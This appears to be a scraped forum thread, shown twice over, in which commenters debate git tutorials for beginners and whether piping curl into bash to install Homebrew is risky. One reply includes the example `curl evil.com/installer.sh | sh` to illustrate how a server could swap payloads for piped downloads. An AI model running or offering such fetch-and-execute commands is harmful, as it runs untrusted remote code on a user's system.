4 ms·

Is there a reason one of the many git tutorials online wasn't good enough? https://docs.github.com/en/get-started/quickstart/set-up-git https://docs.github.com

Is there a reason one of the many git tutorials online wasn't good enough? https://docs.github.com/en/get-started/quickstart/set-up-git https://docs.github.com/en/get-started/quickstart/set-up-git https://www.atlassian.com/git/tutorials https://www.atlassian.com/git/tutorials This one's always fun: https://learngitbranching.js.org/ https://learngitbranching.js.org/ https://www.tutorialspoint.com/git/index.htm https://www.tutorialspoint.com/git/index.htm

hiimshort 5y ago
We're taking a 1:1 approach, but most of the time I take issue with the language used in many guides. The linked guides are good examples, they contain a whole load of terms and buzzwords you don't need to know as a beginner.
AlexandrB 5y ago
Let's look at the tutorial for caching git credentials, which is referenced in your first link: (https://docs.github.com/en/get-started/getting-started-with-git/caching-your-github-credentials-in-git https://docs.github.com/en/get-started/getting-started-with-...). It walks you through installing a "cask" using "brew". It doesn't mention how to install homebrew but instead directs you to the homebrew homepage which shows the output of a curl command being fed to `bash -c`. Something that's both bad practice and unintelligible unless you're quite familiar with Unix shells. If everything works as intended, you're good to go! But if anything goes wrong, or you have to update the "cask" in the future you're left with little to no context about what you just did. For someone unfamiliar with Unix shell commands, homebrew, curl, etc. this is a quagmire that can take days to unravel without someone there to help them.
- geofft 5y ago
  Piping the output of curl to bash is not "bad practice" any more that downloading an application from your browser and clicking on it or downloading a distro CD/USB image and booting it up "bad practice." You have to trust the place where you're downloading it from, of course. But there's nothing inherently worse about /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh https://raw.githubusercontent.com/Homebrew/install/HEAD/inst...)" than burning https://cdimage.debian.org/debian-cd/current/amd64/iso-cd/debian-10.10.0-amd64-netinst.iso https://cdimage.debian.org/debian-cd/current/amd64/iso-cd/de... and booting it up.
  - sethammons 5y ago
    You can actually detect from the server side if curl is being piped and dynamically change the payload.
    - geofft 5y ago
      Yes! I'm not sure how that changes what I'm saying. If you don't trust the server, it can give you a malicious ISO, too. Or are you saying that you audit the bits of the ISO yourself before burning it?
    - throwaway2037 5y ago
      Woah. How? Assume scrubber request headers.
      - namibj 5y ago
        latency/buffer size/stalling effects. It's the difference between `curl evil.com/installer.sh | sh` and `curl evil.com/installer.sh | cat > installer.sh`.
  - bombela 5y ago
    Why the downvotes on the parent? It's literally the same thing: running random code from the internet on your computer!

hiimshort 5y ago

We're taking a 1:1 approach, but most of the time I take issue with the language used in many guides. The linked guides are good examples, they contain a whole load of terms and buzzwords you don't need to know as a beginner.

AlexandrB 5y ago

Let's look at the tutorial for caching git credentials, which is referenced in your first link: (https://docs.github.com/en/get-started/getting-started-with-git/caching-your-github-credentials-in-git https://docs.github.com/en/get-started/getting-started-with-...). It walks you through installing a "cask" using "brew". It doesn't mention how to install homebrew but instead directs you to the homebrew homepage which shows the output of a curl command being fed to `bash -c`. Something that's both bad practice and unintelligible unless you're quite familiar with Unix shells. If everything works as intended, you're good to go! But if anything goes wrong, or you have to update the "cask" in the future you're left with little to no context about what you just did. For someone unfamiliar with Unix shell commands, homebrew, curl, etc. this is a quagmire that can take days to unravel without someone there to help them.

geofft 5y ago
Piping the output of curl to bash is not "bad practice" any more that downloading an application from your browser and clicking on it or downloading a distro CD/USB image and booting it up "bad practice." You have to trust the place where you're downloading it from, of course. But there's nothing inherently worse about /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh https://raw.githubusercontent.com/Homebrew/install/HEAD/inst...)" than burning https://cdimage.debian.org/debian-cd/current/amd64/iso-cd/debian-10.10.0-amd64-netinst.iso https://cdimage.debian.org/debian-cd/current/amd64/iso-cd/de... and booting it up.
- sethammons 5y ago
  You can actually detect from the server side if curl is being piped and dynamically change the payload.
  - geofft 5y ago
    Yes! I'm not sure how that changes what I'm saying. If you don't trust the server, it can give you a malicious ISO, too. Or are you saying that you audit the bits of the ISO yourself before burning it?
  - throwaway2037 5y ago
    Woah. How? Assume scrubber request headers.
    - namibj 5y ago
      latency/buffer size/stalling effects. It's the difference between `curl evil.com/installer.sh | sh` and `curl evil.com/installer.sh | cat > installer.sh`.
- bombela 5y ago
  Why the downvotes on the parent? It's literally the same thing: running random code from the internet on your computer!